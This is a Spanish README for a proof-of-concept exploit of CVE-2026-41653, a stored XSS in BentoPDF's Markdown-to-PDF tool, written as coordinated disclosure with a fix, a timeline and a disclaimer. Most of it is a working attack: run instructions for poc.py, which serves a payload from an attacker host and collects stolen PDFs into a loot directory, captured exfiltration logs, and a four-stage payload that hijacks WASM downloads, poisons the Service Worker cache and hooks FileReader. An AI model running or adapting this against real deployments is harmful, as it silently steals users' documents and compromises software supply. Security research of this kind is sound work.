
Prueba de concepto del exploit para CVE-2026-41653, un XSS almacenado en BentoPDF que permite la exfiltración silenciosa de archivos y el secuestro de la cadena de suministro de WASM.
Descubierto y reportado por: Astaruf
Informe completo: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Aviso upstream: Aviso GHSA de alam00000/bentopdf
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF es una caja de herramientas PDF autohospedada que se ejecuta en el navegador (comprimir, fusionar, dividir, rotar, convertir, Markdown a PDF, etc.).
La herramienta Markdown-to-PDF pasa el Markdown proporcionado por el usuario a través de markdown-it con html: true e inyecta la salida renderizada directamente en el DOM mediante innerHTML sin saneamiento. Un atacante que entregue un archivo .md manipulado logra la ejecución arbitraria de JavaScript en el origen de BentoPDF.
Debido a que BentoPDF es una aplicación completamente del lado del cliente, cada herramienta (Comprimir PDF, Fusionar PDF, Dividir PDF, etc.) carga y procesa archivos directamente en el navegador de la víctima. Por lo tanto, un solo XSS es suficiente para exfiltrar silenciosamente todos los documentos que la víctima abra en cualquier herramienta durante la sesión.
El atacante envía report.md (que contiene )
-> La víctima lo abre en Markdown-to-PDF
-> markdown-it renderiza HTML sin procesar (html: true)
-> preview.innerHTML = html (sin DOMPurify)
-> poc_payload.js se carga desde el servidor del atacante (sin CSP)
-> FileReader + <input type=file> enganchados en toda la aplicación
-> una ventana emergente oculta reinyecta los enganches en cada navegación entre herramientas
-> cada archivo que la víctima abre se exfiltra silenciosamente
localStorage['bentopdf:wasm-providers'], redirigiendo las descargas de los módulos WASM de PyMuPDF, Ghostscript y cpdf a un host controlado por el atacante.window.opener y reinyecta los enganches de archivos cada vez que la víctima navega a una herramienta diferente, manteniendo el acceso durante toda la sesión.bentopdf-*, añadiendo un enganche de exfiltración a cada archivo /assets/*.js servido al navegador más allá de la sesión actual.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (líneas 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // las etiquetas HTML sin procesar pasan a través del analizador de Markdown
breaks: false,
linkify: true,
typographer: true,
};
Etiquetas como ``, <svg>, <details> y cualquier atributo de manejador de eventos (onerror, onload, ontoggle) se reenvían al DOM tal cual.
innerHTML sin saneamiento (CWE-116)src/js/utils/markdown-editor.ts (líneas 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // HTML controlado por el atacante inyectado en el DOM
this.renderMermaidDiagrams();
}
No se aplica ninguna biblioteca de saneamiento entre markdown-it e innerHTML. El navegador analiza la cadena inyectada, encuentra el manejador de eventos en línea y lo ejecuta inmediatamente.
nginx.conf se distribuye sin cabecera Content-Security-Policy. El JavaScript inyectado puede cargar libremente scripts externos, realizar solicitudes fetch() a cualquier host y abrir ventanas emergentes. Una CSP restrictiva habría impedido la etapa de carga de scripts externos incluso con el sumidero intacto.
# Iniciar el servidor del atacante para la exfiltración
python3 poc.py --lhost <TU_IP> --lport 9999
# poc.py hará lo siguiente:
# - generará el payload poc_report.md en el directorio actual
# - comenzará a escuchar las llamadas de la víctima y los archivos exfiltrados
Envía poc_report.md a la víctima y pídele que lo abra en BentoPDF → Markdown-to-PDF. El payload se activa en el momento en que se renderiza la vista previa, y todos los archivos que la víctima suba en el futuro se exfiltran al servidor del atacante.
| Opción | Predeterminado | Descripción |
|---|---|---|
--lhost | obligatorio | IP accesible desde el navegador de la víctima |
--lport | 9999 | Puerto de escucha |
--loot-dir | ./loot/ | Directorio donde se guardan los archivos exfiltrados |
--log-file | ninguno | Añade todos los eventos a un archivo (los códigos ANSI se eliminan) |
--no-color | desactivado | Desactiva los colores ANSI en la salida del terminal |
1. Servidor del atacante iniciado con --lhost y --lport. El poc_report.md malicioso se genera automáticamente.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC by Astaruf (https://nstsec.com)
========================================================================
Servidor de exfiltración: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Directorio de botín: /home/kali/loot
========================================================================
Archivo .md malicioso listo: /home/kali/poc_report.md
Envíalo a la víctima y pídele que lo abra en la herramienta Markdown-to-PDF.
El payload se activa en cuanto se renderiza la vista previa.
========================================================================
Esperando víctimas...
2. La víctima abre la herramienta Markdown-to-PDF en BentoPDF.

3. La víctima carga poc_report.md. La vista previa se renderiza, `` no puede cargarse y se activa onerror. poc_payload.js se obtiene del servidor del atacante sin que ninguna CSP lo bloquee.

4. El payload ejecuta sus cuatro etapas: secuestro del proveedor WASM mediante localStorage, ventana emergente de monitoreo creada, enganches de FileReader y de entrada de archivos instalados en la página actual.

5. La víctima navega a Comprimir PDF. La ventana emergente detecta la navegación y reinyecta los enganches en la nueva página.

6. La víctima carga un PDF. La herramienta lo comprime normalmente. Los bytes del archivo ya se enviaron mediante POST al servidor del atacante.

7. Salida del servidor del atacante de una ejecución verificada:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. El archivo exfiltrado se abre como un PDF completo y válido, idéntico al original.

El payload incrustado en poc.py ejecuta cuatro etapas en secuencia:
| Etapa | Qué hace | Alcance de persistencia |
|---|---|---|
| 1 | Sobrescribe localStorage['bentopdf:wasm-providers'] para redirigir todas las descargas de módulos WASM al atacante | Entre sesiones del navegador |
| 2 | Registra /sw.js, enumera /assets/*.js en todas las páginas de herramientas, envenena la caché del Service Worker bentopdf-* con un enganche de exfiltración | Más allá de la sesión del navegador (solo HTTPS) |
| 3 | Crea una ventana emergente oculta de 1×1 que consulta window.opener.location.href y reinyecta los enganches de archivos después de cada navegación entre herramientas | Mientras la pestaña de BentoPDF esté abierta |
| 4 | Engancha FileReader.prototype.readAsArrayBuffer y el listener de change a nivel de documento: cada archivo que la víctima toque se envía mediante POST al servidor del atacante /file?name=<nombre_de_archivo> | Página actual |
Incluida en BentoPDF v2.8.3. El desarrollador auditó el código más allá del sumidero reportado originalmente y abordó múltiples vectores relacionados:
innerHTML en markdown-editor.ts, incluida la ruta SVG de Mermaid que usaba securityLevel: 'loose' y se descubrió que eludía el primer saneador.securityLevel: 'strict' y la salida SVG se vuelve a sanear con el perfil SVG de DOMPurify.file.name escapado en aproximadamente 8 páginas de herramientas (Deskew, Form Filler, Remove Annotations, etc.) donde los nombres de archivo se concatenaban previamente en HTML sin sanear.localStorage['bentopdf:wasm-providers'] se descartan al cargar.nginx.conf, incluida Content-Security-Policy.Corrección mínima para el sumidero reportado originalmente:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
Cabecera CSP añadida en nginx.conf:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| Fecha | Evento |
|---|---|
| 2026-04-02 | Vulnerabilidad descubierta |
| 2026-04-02 | Reportada de forma privada al mantenedor |
| 2026-04-17 | El mantenedor la reconoció |
| 2026-04-17 | Corrección implementada en la compilación edge y re-probada |
| 2026-04-18 | v2.8.3 publicada con crédito público |
| 2026-04-21 | Aviso GHSA publicado |
| 2026-04-22 | CVE-2026-41653 asignado |
html: trueEste material se proporciona únicamente con fines de pruebas de seguridad autorizadas y educativos. Úsalo solo contra instancias de BentoPDF que poseas o para las que tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.